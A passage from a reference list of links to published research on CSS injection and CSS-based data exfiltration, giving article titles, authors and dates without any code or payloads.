2024](https://blog.pspaul.de/posts/bench-press-leaking-text-nodes-with-css/) -* [Better Exfiltration via HTML Injection - d0nut - April 11, 2019](https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b) -* [Blind CSS Exfiltration: exfiltrate unknown web pages - Gareth Heyes - December 5, 2023](https://portswigger.net/research/blind-css-exfiltration) -* [CSS based Attack: Abusing unicode-range of @font-face - Masato Kinugawa - October 23, 2015](https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html) -* [CSS Data Exfiltration to Steal OAuth Token - - September 13, 2025](https://blog.voorivex.team/css-data-exfiltration-to-steal-oauth-token) -* [CSS Injection - xsleaks.dev - May 9, 2025](https://xsleaks.dev/docs/attacks/css-injection/) -* [CSS Injection Attacks or how to leak content with